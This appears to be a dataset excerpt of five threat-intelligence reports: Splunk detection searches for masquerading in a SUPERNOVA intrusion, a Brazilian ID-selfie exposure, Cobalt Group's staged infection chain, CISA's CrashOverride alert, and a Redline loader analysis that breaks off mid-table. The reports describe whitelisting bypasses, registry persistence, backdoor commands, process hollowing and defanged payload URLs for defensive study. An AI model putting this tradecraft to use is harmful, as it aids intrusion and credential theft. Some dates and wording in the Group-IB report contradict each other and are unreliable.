text
stringlengths
8
115k
# SUPERNOVA Redux, with a Generous Portion of Masquerading **By John Stoner** **Contributors:** Mick Baccio, Katie Brown, James Brodsky, Drew Church, Dave Herrald, Ryan Kovar, Marcus LaFerrera, Michael Natkin, and John Stoner **April 22, 2021** If you want just to see how to find masquerading, skip down to the “detections” sections. Otherwise, read on for a quick breakdown of what happened, how to detect it, and MITRE ATT&CK mappings. ## Recent SUPERNOVA Attack, Now with Masquerading The Cybersecurity and Infrastructure Security Agency (CISA) issued an analyst report (AR21-112A) on April 22, 2021, that discussed a recent incident that they supported. As you read the first paragraph, it hits recent hot buttons: Pulse Secure and SolarWinds. Then you start wondering where this is going. “The threat actor connected to the entity’s network via a Pulse Secure virtual private network (VPN) appliance, moved laterally to its SolarWinds Orion server, installed malware referred to by security researchers as SUPERNOVA (a .NET webshell), and collected credentials.” — Analysis Report (AR21-112A) All of a sudden, we see SUPERNOVA and we breathe a sigh of relief; we’ve got this. In fact, we blogged about this back in January 2021 in Detecting Supernova Malware Solarwinds Continued. But as we read farther, we come to find out that the adversary lovingly decided to take their copy of procdump.exe — a command line tool that is used to create dumps of processes and has been used by various actors to dump credentials — renamed it Splunklogger.exe, and placed it on the compromised SolarWinds server. This blog will highlight some new detections that were seen in this attack along with a discussion around masquerading. We will also provide some detections that you can take advantage of in your own environment. As mentioned before, we won’t go deep into SUPERNOVA itself as we already have covered that in a previous blog, but these actions on objective are important to call out. ## What You Need to Know This specific attack has a few interesting traits. The first is that the adversary is using residential IP addresses based in the United States (US) to make them appear as US-based employees and then leveraging valid accounts to gain access via the VPN. From there, the adversary used a virtual machine and obfuscated PowerShell scripts to move laterally to the SolarWinds server. At this point, the SUPERNOVA webshell is installed. Due to logs being cleared during the attack, CISA was not able to determine if the adversary exploited CVE-2020-10148, an authentication bypass vulnerability of SolarWinds Orion or another method to gain access. At this point, the adversary is collecting credentials as well as deploying tools to maintain persistence, evade defenses, and other activities. A common tool that certain adversaries use is procdump.exe. Procdump.exe is a Microsoft command line utility that is used to monitor applications and can create crash dumps. Adversaries have been observed using procdump to dump credentials. To obfuscate the existence of procdump.exe on the SolarWinds server, the adversary renamed their copy of procdump.exe to splunklogger.exe. This masquerading technique is fairly common with certain utilities because the existence of that utility on certain systems may trigger alarms for organizations, whereas a tool like Splunk is used in many organizations and would raise less concern when seen. After credentials were dumped from LSASS memory, the adversary used the organization’s web server to exfiltrate the credentials and then deleted the web server logs in an effort to cover their tracks. Additional access occurred after the initial attack by leveraging credentials that were likely cracked offline from the initial credential dump. A final identified access event occurred where both procdump.exe and winrar.exe were seen masquerading as wininit.exe and the adversary made an attempt to archive credentials, probably before they were exfiltrated. ## Detecting Masquerading As Well as Indicators of the SUPERNOVA Attack in Splunk Here we will give you some hot-off-the-press searches to help find some of the badness derived from the CISA Analysis Report on this recent SUPERNOVA attack. If we have coverage for these searches in Splunk security content, we call them out further below in the MITRE ATT&CK section. We covered some thoughts on detecting the SUPERNOVA webshell in our previous post on the subject as well as the associated vulnerabilities, so today we will focus on the activities that took place after the webshell was established, specifically around masquerading and file integrity of the files manipulated. ### Indicators of Compromise (IOCs) CISA published IOCs, including file names, hashes, and IPs, in their blog post. So we collected the common hashes for procdump.exe, along with the IOCs that CISA identified and converted these indicators into simple CSV format so that you may use them as lookup tables. ### Process Monitoring We frequently are asked "why should we use Sysmon for process monitoring instead of native Windows capability via Event ID 4688?" This situation is a perfect example as to why the rich data gathered by Sysmon is so valuable to defenders and threat hunters: hashes. Microsoft's documentation for 4688 is available here. If we look in the example Event XML, we will only see information such as the NewProcessId or NewProcessName. If we've turned on CommandLine tracking, we'll be provided that information as well. Comparatively, Sysmon Event Code 1 has a number of other fields including multiple types of hashes, the Company, and even the parent process id to better contextualize the process that was created. If we compare files being executed based on the name of the original file and the process, we can use Sysmon data with a search like this to get a side-by-side comparison and use the match function with the eval command to get a comparative. ```spl EventCode=1 OriginalFileName=* process_name=* | eval OriginalFileName=upper(OriginalFileName) | eval process_name=upper(process_name) | eval match=if(OriginalFileName=process_name,"Match","No Match") | search match="No Match" | table _time host OriginalFileName process_name match ``` As you can see above, we can see that psexec.c is running under the name of smb.exe. It is important to note that without additional filtering, the search above is a bit noisy. However, for our purposes, we could easily swap out the OriginalFileName value of * in this search to look for just procdump.exe or add the string “splunklogger” like the search below. Another technique that we can use to identify masquerading is the use of file hashes. To do this, we can again use a favored capability of Splunk, that is the lookup! We mentioned them above, and just to make sure this blog is super long, let’s cover them in greater detail. A very effective way of determining whether or not a process executing on one of your production servers is legit is to use lookups sourced with “known good” metadata about processes normally found in your environment. Assuming you have tight control over upgrades that will change legitimate binaries (e.g. a change control process/board), any executing binaries on your production servers that are “unknown” when compared to “known good” can be flagged. Here’s one way of accomplishing that in Splunk. First, we leverage Sysmon’s Event Code 1, which provides hash values and a lot of other interesting process metadata, to harvest this data from a known-good “golden image” server in the environment, and we pipe it to a lookup called UFKnownLookup.csv. Note, there’s all sorts of interesting metadata in these events, like the company name, the version number of the file, a description, and so forth: ```spl index=endpoint process_name=splunk* EventCode=1 host=frostbite | eval knowngood=1 | stats values(process_name) as process_name values(Company) as vendor values(Description) as description values(FileVersion) as version values(knowngood) as known_good by SHA256,MD5 | outputlookup UFKnownGood.csv ``` Now, we can leverage it in subsequent searches. For example, let’s rip a page from the CISA SUPERNOVA report, take a copy of procdump.exe (which is a Sysinternals binary) and rename it “splunklogger.exe” and then put it on our desktop and run it. It will look like this in a Sysmon event. Now, let’s run a search to find Splunk binaries that are “unknown” to us, leveraging the lookup: ```spl index=endpoint process_name=splunk* EventCode=1 host=frostbite | lookup UFKnownGood.csv SHA256 OUTPUT known_good | eval known_good = case(known_good == 1, "1", 1=1, "0") | search known_good=0 | stats values(process_name) as process_name values(Company) as vendor values(Description) as description values(FileVersion) as version values(known_good) as known_good by SHA256,MD5 ``` And voila! We can see that a binary called “splunklogger.exe” executed, but it wasn’t in our approved lookup list, and oh, by the way, even though it is called “splunklogger.exe” it certainly isn’t a real Splunk binary, based on the Company and Description metadata. In production, generating the lookup itself against raw data is a reasonable thing to do on an occasional basis. But for matching voluminous Sysmon data in Splunk, a tstats search against an accelerated data model from the Common Information Model is more optimal, like this one against Endpoint.Processes: ```spl | tstats summariesonly=t prestats=t count,values(Processes.process),values(host) as host from datamodel=Endpoint.Processes where (Processes.process="*splunk*.exe*" AND Processes.process!="*cmd.exe*") by Processes.process_hash | rename Processes.process_hash as hashes | stats values(*) by hashes | rex field=hashes "SHA256=(?<SHA256>.*)," | lookup UFKnownGood.csv SHA256 | eval known_good = case(known_good == 1, "1", 1=1, "0") | search known_good=0 ``` ## Fee Fi Fo FIM We also figured file integrity monitoring (FIM) was a super appropriate topic to cover since, ya know, procdump.exe went all splunklogger.exe on us. The goal we’re trying to accomplish with FIM is simple: detect unauthorized changes made to files, directories, network devices, OS, and more. This can be accomplished by establishing a “baseline” for a file state, and monitoring for changes made to that state. It’s a great way to quickly identify file discrepancies, modifications, and additions. Need a FIM solution now? There are multiple software solutions that are designated for file integrity monitoring like Tripwire and Qualys FIM. More of an open-source kind of person? Not a problem, there are several solutions available depending on your requirements. Some of the more popular open-source FIM solutions include OSSEC and osquery. Got none of that? You can always use “native” file activity monitoring, from things like Sysmon’s FileCreate and FileDelete events, or even Windows 4663 events. All of the solutions we mention integrate well with Splunk, and many populate our Change data model for ease of use. ## Splunk Enterprise Security and ESCU If you are using Splunk Enterprise Security, the lookups of IOCs that are listed above can be ingested easily into the threat intelligence framework. Perhaps you aren’t sure how to do that. No worries, we published some guidance and a how-to on integrating lists of IOC into the Enterprise Security threat intelligence framework. ### Enterprise Security Content Updates (ESCU) For folks using ESCU, our Threat Research team already has a number of detections around masquerading. While they are not all in a single analytic story, they can be found by using the Keyword Search. In fact, if you check out the MITRE ATT&CK table below, you can cut and paste those Splunk Search titles into the Keyword Search (place * between the words in place of spaces) to view them in ESCU. If you have ESCU running today, you already have some great coverage! ## MITRE ATT&CK Reviewing the CISA Analysis Report (AR-21-112A), we mapped the adversary’s activity to MITRE ATT&CK. Each tactic is then linked to Splunk content to help you hunt for that information. Be aware; these searches are provided as a way to accelerate your hunting. We recommend you configure them via the Splunk Security Essentials App. You may need to modify them to work in your environment! Many of these searches are optimized for use with the tstats command. Finally, as more information becomes available, we will update these searches if more ATT&CK TTPs become known. ### ATT&CK Technique/Sub-Technique Title - T1105: Ingress Tool Transfer - Suspicious Curl Network Connection - T1036.003: Rename System Utilities - System Processes Run From Unexpected Locations - T1505.003: Web Shell - Detect Exchange Web Shell, W3WP Spawning Shell, Supernova Webshell - T1078: Valid Accounts - Reconnaissance of Access and Persistence Opportunities via PowerSploit modules, Setting Credentials via DSInternals modules, Probing Access with Stolen Credentials via PowerSploit modules, Setting Credentials via PowerSploit modules, Reconnaissance of Credential Stores and Services via Mimikatz modules, Reconnaissance and Access to Accounts and Groups via Mimikatz modules, Reconnaissance of Privilege Escalation Opportunities via PowerSploit modules, Applying Stolen Credentials via Mimikatz modules, Applying Stolen Credentials via PowerSploit modules, Setting Credentials via Mimikatz modules - T1047: Windows Management Instrumentation - Script Execution via WMI, Process Execution via WMI, Remote Process Instantiation via WMI, Reconnaissance and Access to Operating System Elements via PowerSploit modules, WMI Permanent Event Subscription, WMI Temporary Event Subscription - T1018: Remote System Discovery - Windows AdFind Exe - T1070.001: Clear Windows Event Logs - Windows Event Log Cleared, Suspicious wevtutil Usage - T1021.002: SMB/Windows Admin Shares - Reconnaissance of Connectivity via PowerSploit modules, Reconnaissance and Access to Shared Resources via PowerSploit modules, Reconnaissance and Access to Shared Resources via Mimikatz modules, Detect PsExec With accepteula Flag, SMB Traffic Spike, SMB Traffic Spike - MLTK - T1057: Process Discovery - Reconnaissance and Access to Processes and Services via Mimikatz modules, Reconnaissance and Access to Operating System Elements via PowerSploit modules - T1083: File and Directory Discovery - Reconnaissance and Access to Operating System Elements via PowerSploit modules - T1140: Deobfuscate/Decode Files or Information - CertUtil With Decode Argument - T1003.001: LSASS Memory - Detect Mimikatz Using Loaded Images, Dump LSASS via comsvcs DLL, Create Remote Thread into LSASS, Access LSASS Memory for Dump Creation, Detect Credential Dumping through LSASS access, Dump LSASS via procdump, Creation of lsass Dump with Taskmgr, Dump LSASS via procdump Rename - T1041: Exfiltration Over C2 Channel - Detect SNICat SNI Exfiltration - T1059.001: PowerShell - Malicious PowerShell Process - Connect To Internet With Hidden Window, Set Default PowerShell Execution Policy To Unrestricted or Bypass, Any Powershell DownloadString, Malicious PowerShell Process With Obfuscation Techniques, Any Powershell DownloadFile, Malicious PowerShell Process - Execution Policy Bypass Here is a list of all the MITRE ATT&CK TTPs that we saw being used in this attack: T1133, T1078, T1059.001, T1140, T1105, T1505.003, T1552.004, T1036.003, T1003.001, T1074.001, T1041, T1070.001, T1021.002, T1047, T1057, T1036.005, T1560.001, T1083, T1018. ## Conclusion This blog is a little bit of an outlier. We realize that attacks are continually occurring, but with the masquerading of procdump.exe as splunklogger.exe as well as the use of the SUPERNOVA malware, which was so recent, it felt like a good time to talk about this specific attack. Masquerading and obfuscation are capabilities that many adversaries use during their attacks. Hopefully, these searches will provide you the ability to have more visibility into your environment and any malicious activity that you might be experiencing. If they don’t work perfectly, think of them as “SplunkSpiration.” Again, you may have to modify them to work in your unique environment. If we uncover additional information, we will update this blog.
# Thousands of IDs Exposed in Yet Another Data Breach in Brazil Unsecured public-facing database allowed anyone to access ID selfies for months. In January 2021, Group-IB Threat Intelligence unit discovered sensitive personal information of over 20,000 Brazilian citizens on a publicly available server. The data set contained the photos of individuals holding their national IDs. A quick analysis showed that the server had been exposed for at least two months. While not entirely clear if this was a breach or a leak and who was behind it, the data was most likely obtained from one of the Brazilian government portals, as deeper examination revealed. > “Our first thought was — wow, someone forgot a 55GB directory with sensitive data on a publicly available server. The only right thing to do was to reach out to the relevant Brazilian cybersecurity authorities so they could take the necessary actions to mitigate the risks.” > — Anastasia Tikhonova, Head of Advanced Persistent Threat Research at Group-IB’s Threat Intelligence team Immediately upon discovery, Group-IB’s Computer Emergency Response Team (CERT-GIB) alerted Brazil's cybersecurity authorities about the incident. The case highlights the importance of rapid threat intelligence exchange and collaboration between the CERTs all over the world – the information provided by CERT-GIB was actioned swiftly. Within ten hours, the server was taken offline. This was not the first time Brazilians’ sensitive data ended up available to the public. In 2020, personal records of over 243 million Brazilians were exposed. As the world goes digital, the security risks of online identity verification are becoming more pervasive. The incident demonstrates why government and private sector organizations that process sensitive personal data need stringent cybersecurity measures, including threat intelligence and hunting operations in place, to avoid financial losses, reputational damage, and data breaches. At the end of this post, cybersecurity professionals can find recommendations and remediation techniques to avoid and address similar incidents. ## How Group-IB Uncovered the Breach As part of Group-IB’s threat intelligence gathering processes, the entire IPv4 internet space is scanned continuously for anomalies, signs of suspicious and malicious activity, misconfiguration causing digital assets to be exposed to a wider public. Automated tools assess online resources and identify high-risk infrastructure that requires further evaluation. In this case, a publicly accessible server hosted in the US with the directory listing function enabled was discovered on 8th January. Disabling directory listing on a web server is a normal security precaution to avoid the exposure of sensitive information. However, this was not the case. Anyone on the internet could access the server’s contents. Within the directory, several files were found, including a 27 GB zip-archive containing more than 20,000 Brazilian citizens’ ID selfies, a custom web crawling script written in Python, and an open source web tunneling tool. Based on the archive’s last modification date, Group-IB’s analysts concluded that the file had been uploaded to the server no later than November 2021. A crawler script, used for data collection, also caught Group-IB team’s attention. As its code examination revealed, the crawler connected to one of the Brazilian government portals. The crawler’s developer left a little more in the source code. Group-IB analysts spotted a phrase in Portuguese which says “Deu erro aqui nessa merda!” (ENG: “You got this s*** wrong”). The server in question was located outside of Brazil. Given all the above evidence, it is fair to assume that the server appears to have been used by an authorized third party as a staging area while they gathered sensitive personal information with unclear but most likely malicious intent. However, it is not clear what was the end goal of the party that collected sensitive data. ## The Privacy Dangers of Digital Verification Personal ID discovered on the server is the Cédula de identidade, the national identity document in Brazil, commonly referred to as ‘carteira de identidade’ or simply “RG” (from Registro Geral, General Registry). The card contains the name of the bearer, filiation, place of birth, date of birth, signature and thumbprint of the bearer and, optionally, CPF number (‘Cadastro de Pessoas Físicas’), the country’s individual taxpayer registry identification. The identity card is used for a number of private and public purposes including obtaining a driver's license, opening a bank account, buying or selling real estate, financing debts, applying for a job, giving testimony in court, and entering some public buildings. The card can also be used for travel between Mercosur member countries and associates (except Guyana and Suriname). Around the world, many organizations are implementing digital verification processes as they undergo digital transformation, making the services available via mobile apps or web portals. For the end-user, this model can be appealing; it is a fast and easy way to sign up for services, completely removing the need to visit a physical point of presence. However, when the data is not managed properly without cybersecurity considerations in mind, it is almost inevitable that personal information will be exposed. Digital verification based on selfies has been gaining momentum in recent years and is used on everything from dating apps to tax returns. Just in February, the US IRS had to walk back their use of selfie-based ID.ME amidst a storm of privacy concerns. ### Risks of Having Personal Information Exposed For the individuals that had their personal information exposed, they are at risk of: - Identity theft - Account takeover - Extortion - Spear phishing attacks - Theft of money The organizations that experienced the data breach can also be at risk of: - Financial loss - Legal action - Reputational damage - Operational downtime - Response and recovery costs - Disclosure announcements if there is a breach Upon the discovery, Group-IB’s Computer Emergency Response Team (CERT-GIB) immediately took steps to remediate the risks, and within 10 hours the server was taken offline by Brazil's cybersecurity authorities. ## Why Group-IB Reported This Breach Group-IB's mission is to fight against cybercrime. As part of this mission, Group-IB continuously scans the internet for unsecured databases containing private and personal information. When we uncover unsecured data, we immediately take steps to mitigate the risks to users, organizations, and government departments. Under a responsible disclosure protocol, Group-IB always does its best to reach out to the affected parties so they can take the necessary steps to eliminate the threat. Typically, Group-IB launches an investigation to determine who the owner is, what information is at risk, who is affected, and the potential impact on data subjects. After identifying whoever is responsible for an exposed database, we utilize our contacts in the security community, including CERTs, law enforcement partners, and threat analysts, to alert the appropriate parties to secure the data as quickly as possible. ## Recommendations ### How to Prevent a Similar Data Breach **Know all of your internet-facing assets** The forgotten server had an HTTP directory listing, which allowed anyone to discover and utilize the information. Inappropriately exposed directory listing is categorized by MITRE as a Common Weakness Enumeration (CWE-548). Organizations should conduct attack surface management to identify all of their internet-facing assets, including servers that have been forgotten. An audit or vulnerability scan of the identified infrastructure can reveal weaknesses including CWE-548, allowing security teams to remediate them before they are exploited. **Prevent automated tools exploiting known vulnerabilities** Improper authentication (CWE-287) occurs when an unauthorized third party claims to be an authenticated user, such as falsifying cookies to bypass authentication checks. This technique is sometimes used in conjunction with Improper Control of Interaction Frequency (CWE-799) which can allow the attacker to launch brute force attacks, such as repeatedly guessing the credentials of an administrator until a correct combination is found. Servers and applications should be penetration tested to identify security issues such as CWE-287 and CWE-799. Dynamic Application Security Testing (DAST), also known as web application vulnerability scanning, is a method for finding externally visible issues and vulnerabilities, and can further help identify issues. Equipping developers with Open Web Application Security Project (OWASP) Top Ten Web Application Security Risks document can help avoid the most critical security risks. **Prevent compromised information from being exploited** By identifying the exposed personal information, Group-IB was able to alert Brazilian authorities, allowing them to take steps to prevent the information from being used for fraudulent purposes. For a private organization, a parallel could be identifying administrator credentials for critical infrastructure on the internet; knowing that these credentials have been compromised, the organization can revoke the account’s permissions before it is used for malicious purposes. Scanning the open internet, dark web, and closed threat actor forums for compromised information can help prevent it from being utilized by threat actors. This activity is performed by threat intelligence teams that have the resources and skills to find, process, and disseminate this information. Timeliness is a factor for preventing compromised information from being used and should be a factor when evaluating threat intelligence solutions. ### What to Do If You Believe You Have Experienced a Breach If an attack has taken place, the first step is to remove the threat actor from your network, revoking account privileges, disabling communications with C2 servers, and disrupting any persistence techniques. The anatomy of the attack should then be explored to understand the kill chain that allowed the attacker to gain a foothold within the organization and move laterally. Lastly, remediating steps should be actioned to prevent similar attacks from occurring in the future. Timeliness is key to minimizing the impact of a breach. If you believe your company may have fallen victim, contact us to get a rapid and complete response from the Group-IB Incident Response team.
# Cobalt Group 2.0 Over the past year, Morphisec and several other endpoint protection companies have been tracking a resurgence in activity from the Cobalt Group. Cobalt is one of the most notorious cybercrime operations, with attacks against more than 100 banks across 40 countries attributed to the group. The most recent attacks can be grouped into two types of campaigns. Many of the campaigns are based on the known and prevalent ThreadKit exploit kit generation framework. Other campaigns are more sophisticated, borrowing only some functionality from ThreadKit builder while incorporating additional advanced techniques from other sources. Morphisec Labs believes that the Cobalt Group split following the arrest of one of its top leaders in Spain in March of 2018. While Cobalt Gang 1.0 uses ThreadKit extensively, Cobalt 2.0 adds sophistication to its delivery method, borrowing some of the network infrastructures used by both APT28 (aka Fancy Bear) and MuddyWater. One of the Cobalt 2.0 Group’s latest campaigns, an attack that leads to a Cobalt Strike beacon and to JavaScript backdoor, was investigated and presented by the Talos research team. Morphisec has investigated different samples from the same campaign. The following analysis presents our findings, focusing on the additional sophistication patterns and attribution patterns. ## Cobalt Group Technical Details ### Stage 1 - Word Macro + Whitelisting Bypass As with many other campaigns, the victim received a document with malicious macro visual basic code. Although the code is heavily obfuscated, the entry point is easily identifiable. The VB code is executed starting from the Frame1_Layout function – this method is used much less frequently than the obvious Document_Open or the AutoOpen. The macro is executing the legitimate Windows process cmstp.exe (connection manager Profile Installer). This technique was previously used by the MuddyWater group when attacking Middle East targets. The use of cmstp.exe whitelisting bypass was researched by Oddvar Moe, where he showed how, by manipulating the inf file, cmstp can execute scriptlets or executables. In our case, the attacker abused cmstp to execute a JavaScript scriptlet (XML with JS) that is downloaded from the e-dropbox[.]biz site. This way the group limited the exposure and the delivery of the JavaScript to relevant targets only. ### Stage 2 - JavaScript Dropper + Whitelisting Bypass The JavaScript is well encoded with rc4 and some custom modifications. The decrypted JavaScript has some similar functionality to the ThreadKit builder which is heavily used by the Cobalt Gang 1.0. As can be seen from the deobfuscated code, the JavaScript yet again bypasses whitelisting by manipulation of regsvr32.exe, another legitimate Windows process. The two dropped artifacts – a payload DLL and a Word document – are written to the “Users\<Log on User>\” folder (the document will replace the opened malicious document with clean stub after killing the running Word process). ### Stage 3 - PureBasic Legitimate Executable Mixed with Additional Malicious Functions The dropped DLL is actually a PureBasic compiled code and a legitimate application. The application is not signed (as many other PureBasic applications) and therefore easily manipulated to execute inserted malicious code. In this case, the exported function DllRegisterServer wasn’t part of the legitimate application and is perfect for application flow redirection when executed by regsvr32.exe. Because PureBasic is a full programming language that compiles to assembly and has endless possibilities and APIs to manipulate the memory, it also complicates the generation of patterns by security vendors that base their detection on static or dynamic pattern signatures. Although some security solutions will block all PureBasic programs (wrong move – there are plenty of legitimate PureBasic programs in use today), it’s a smart move made by the attacker group. To function properly, the malicious injected code needs to reflectively load and map to existing core functions. The same code also applies anti-disassembly and anti-debugging techniques. It gets the following functions from Kernel32 and Advapi32: The code then uses the identified functions to add persistency through registry and add next stages file names identifier through the following locations: - HKCU\Environment\UserInitMprLogonScript – next stage command (JavaScript downloader executed through regsvr32) is registered under UserInitMprLogonScript. - HKCU\Software\Microsoft\Notepad\<$UserName$> - The code creates a new value under Notepad Key with a pair representing randomly generated key pair. The right side of the pair is the name of the JavaScript in the next stage (stage 4), while the left side of the pair represents the file that will be downloaded as part of stage 5. Such a combination of registry manipulation was reported a year ago as part of an attack campaign executed by the Cobalt Group against Ukrainian banks. As part of the last execution step of the dll, the malicious code writes a JavaScript scriptlet into the Roaming directory and then it executes CreateProcess on the regsvr32 as described by the UserInitMprLogonScript. ### Stage 4 - JavaScript Downloader + Whitelisting Bypass Here, the scriptlet is automatically obfuscated in a way similar to the first scriptlet. After quick deobfuscation, we get to a clear JavaScript that is trying to download the next stage JavaScript backdoor using the same regsvr32. Note that the name for the JavaScript is part of the Notepad registry key that was written in a previous stage. The script also validates that no one changed the name of the executed file that was randomly given during the previous stage. If the name of the executed JavaScript doesn’t match the name registered in the Notepad registry key, the script will not execute (researchers sometimes change the names of the files to execute the different stages separately – this will not work in this case). This decoded JavaScript downloader is almost identical to downloader previously seen around one year ago. ### Stage 5 - JavaScript Backdoor The last stage JavaScript is downloaded from hxxps://server.vestacp[.]kz/robots.txt. The JavaScript is obfuscated the same way as in the previous stages. After deobfuscation, we encounter a backdoor that was used in attacks against Russian speaking businesses in August 2017. This backdoor protocol of commands here is almost identical to the previously described backdoor, aside from some name changes: - "d&exec" – Download an executable or a dll (if it’s a dll, use regsvr32 to execute it) - "more_eggs" – Downloads and replace the existing backdoor script with new script - "gtfo" – Clean traces, remove persistency and stage 4,5 files - "more_onion" – Execute the Backdoor script - "via_x" – execute cmd / shell commands locally As with every communication with the C2, the script collects and sends information about the target environment including the stack of security solutions installed on the computer. ## Conclusion As organizations improve their defenses, attackers find new ways to get around them. Threat groups such as Cobalt are increasingly incorporating delivery techniques that allow them to easily bypass whitelisting and AppLocker policies, and we see more and more attacks using legitimate processes to carry out their malicious intent. Although some of the decrypted artifacts have been seen in the wild since the beginning of the year (or earlier), the attack is still very effective as many security solutions do not detect the artifacts once they are obfuscated and encrypted. The need for a different approach to security is greater than ever. Moving Target Defense, as defined by the DHS and implemented by Morphisec, breaks the assumptions made by the attackers. Morphisec Endpoint Threat Prevention natively prevents the attack before it can perform any type of malicious activity, no updates needed. Organizations should expect to see much more coming from all Cobalt Group factions during the next year.
# CrashOverride Malware ## Systems Affected Industrial Control Systems Updated July 20, 2021: The U.S. Government attributes this activity to Russian nation-state cyber actors and assesses that Russian nation-state cyber actors deployed CrashOverride malware to conduct a cyberattack against Ukrainian critical infrastructure. ## Overview The National Cybersecurity and Communications Integration Center (NCCIC) is aware of public reports from ESET and Dragos outlining a new, highly capable Industrial Control Systems (ICS) attack platform that was reportedly used in 2016 against critical infrastructure in Ukraine. The CrashOverride malware is an extensible platform that could be used to target critical infrastructure sectors. NCCIC is working with its partners to validate the ESET and Dragos analysis and develop a better understanding of the risk this new malware poses to U.S. critical infrastructure. Although this activity is still under investigation, NCCIC is sharing this report to provide organizations with detection and mitigation recommendations to help prevent future compromises within their critical infrastructure networks. NCCIC continues to work with interagency and international partners on this activity and will provide updates as information becomes available. To report activity related to this Alert, please contact NCCIC at [email protected] or 1-888-282-0870. ## Risk Evaluation **NCCIC Cyber Incident Scoring System (NCISS) Rating Priority Level (Color): Yellow (Medium)** A medium priority incident may affect public health or safety, national security, economic security, foreign relations, civil liberties, or public confidence. ## Details There is no evidence to suggest this malware has affected U.S. critical infrastructure. However, the tactics, techniques, and procedures (TTPs) described as part of the CrashOverride malware could be modified to target U.S. critical information networks and systems. ### Description **Technical Analysis** CrashOverride malware represents a scalable, capable platform. The modules and capabilities publicly reported appear to focus on organizations using ICS protocols IEC101, IEC104, and IEC61850, which are more commonly used outside the United States in electric power control systems. The platform fundamentally abuses the functionality of a targeted ICS system’s legitimate control system to achieve its intended effect. While the known capabilities do not appear to be U.S.-focused, it is important to recognize that the general TTPs used in CrashOverride could be leveraged with modified technical implementations to affect U.S.-based critical infrastructure. The malware has several reported capabilities: 1. Issues valid commands directly to remote terminal units (RTUs) over ICS protocols. One such command sequence toggles circuit breakers in a rapid open-close-open-close pattern, potentially resulting in a degradation of grid reliability. 2. Denies service to local serial COM ports on Windows devices, preventing legitimate communications with field equipment over serial from the affected device. 3. Scans and maps ICS environment using a variety of protocols, including Open Platform Communications (OPC), significantly improving the payload’s probability of success. 4. Could exploit Siemens relay denial-of-service (DoS) vulnerability, leading to a shutdown of the relay, which would need to be manually reset to restore functionality. 5. Includes a wiper module in the platform that renders Windows systems inert, requiring a rebuild or backup restoration. ## Detection As CrashOverride is a second stage malware capability and has the ability to operate independent of initial C2, traditional methods of detection may not be sufficient to detect infections prior to the malware executing. Organizations are encouraged to implement behavioral analysis techniques to identify precursor activity to CrashOverride. NCCIC is providing a compilation of IOCs from a variety of sources to aid in the detection of this malware. The sources provided do not constitute an exhaustive list, and the U.S. Government does not endorse or support any particular product or vendor’s information referenced in this report. ## Impact A successful network intrusion can have severe impacts, particularly if the compromise becomes public and sensitive information is exposed. Possible impacts include: - Temporary or permanent loss of sensitive or proprietary information - Disruption to regular operations - Financial losses incurred to restore systems and files - Potential harm to an organization’s reputation ## Solution Properly implemented defensive techniques and common cyber hygiene practices increase the complexity of barriers that adversaries must overcome to gain unauthorized access to critical information networks and systems. Detection and prevention mechanisms can expose malicious network activity, enabling organizations to contain and respond to intrusions more rapidly. ### Application Whitelisting Application whitelisting (AWL) can detect and prevent attempted execution of malware uploaded by adversaries. AWL hardens operating systems and prevents the execution of unauthorized software. ### Manage Authentication and Authorization This malware exploits the lack of authentication and authorization in common ICS protocols to issue unauthorized commands to field devices. Asset owners/operators should implement authentication and authorization protocols to ensure field devices verify the authenticity of commands before they are actioned. ### Handling Destructive Malware Destructive malware continues to be a threat to both critical infrastructure and business systems. Organizations should maintain backups of key data, systems, and configurations. ### Ensure Proper Configuration/Patch Management Adversaries often target unpatched systems. A configuration/patch management program centered on the safe importation and implementation of trusted patches will help render control systems more secure. ### Build a Defendable Environment Building a defendable environment will help limit the impact from network perimeter breaches. Operators should segment networks into logical enclaves and restrict host-to-host communications paths. ### Implement Secure Remote Access Operators should remove obscure access vectors wherever possible and limit any accesses that remain. ### Monitor and Respond Defending a network against modern threats requires actively monitoring for adversarial penetration and quickly executing a prepared response. Operators should establish monitoring programs in key places and have a response plan for when adversarial activity is detected. ## References - Revisions - June 12, 2017: Initial Release - June 13, 2017: Updated IOCs (both STIX and CSV formats) - July 7, 2017: Updated IOCs (both STIX and CSV formats) - July 21, 2017: Corrected typographical error - July 24, 2017: Corrected links to downloadable IOC files
# Excel Document Delivers Multiple Malware by Exploiting CVE-2017-11882 – Part II FortiGuard Labs recently captured an Excel document with an embedded malicious file in the wild. The embedded file with a randomized file name exploits a particular vulnerability — CVE-2017-11882 — to execute malicious code to deliver and execute malware on a victim’s device. Part I of my analysis explained how this crafted Excel document exploits CVE-2017-11882 and what it does when exploiting that vulnerability. An involved website (hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/{file name}) was found storing and delivering numerous malware family samples, like Formbook and Redline. I dissected a recent Formbook sample from that website in part I of my analysis, including but not limited to how that Formbook was downloaded and deployed on a victim’s device and what C2 servers it contains in that Formbook variant. Redline (also known as Redline Stealer) is a commercial malware family designed to collect sensitive information from infected devices, such as saved credentials, autocomplete data, credit card information, and more. **Affected platforms:** Microsoft Windows **Impacted parties:** Windows Users **Impact:** Collect Sensitive Information from Victim’s Device. **Severity level:** Critical I start part II of my analysis by examining a Redline sample collected from that same website. In this report, you will learn how the Redline payload is extracted from the sample, how it maintains persistence on the infected device, what sorts of sensitive information are stolen from the victim’s device, and how that stolen information is submitted to its C2 server. ## Redline Loader The Redline sample I selected is “hxxp[:]//lutanedukasi[.]co[.]id/wp-includes/almac.exe”, which is a Redline loader. It is obfuscated by a .NET Obfuscator called SmartAssembly 6.9.0.114. When I analyzed this sample using a .Net debugger, I found that it has a comprehensive set of obfuscation features, such as obfuscated names (class names, function names, variable names, and more), control flow obfuscation, strings encoding, and declarative obfuscation. It can be deobfuscated using the de4dot tool to get a friendlier, clean version. After sleeping for five seconds at the start of the Redline sample (Redline loader), it loads a data block from its .Net resource called “brfmdFiaha”. This is then decrypted into a PE file with the key string “brfmdFiaha”, where a local variable “byte_” is pointing to the decrypted PE file shown in the memory subtab. The decrypted PE file is the payload file of this Redline variant. It then process-hollows the decrypted PE file. It dynamically loads a group of Windows APIs to process hollow the Redline payload file, which are listed in the table below. | Method | Description | |--------|-------------| | Wow64GetThreadContext | {Boolean Wow64GetThreadContext(IntPtr, Int32[])} | | GetThreadContext | {Boolean GetThreadContext(IntPtr, Int32[])} | | ReadProcessMemory | {Boolean ReadProcessMemory(IntPtr, Int32, Int32, Int32, Int32 ByRef)} | | VirtualAllocEx | {Int32 VirtualAllocEx(IntPtr, IntPtr, UInt32, UInt32, UInt32)} | | WriteProcessMemory | {Boolean WriteProcessMemory(IntPtr, Int32, Byte[], Int32, Int32 ByRef)} | | Wow64SetThreadContext | {Boolean 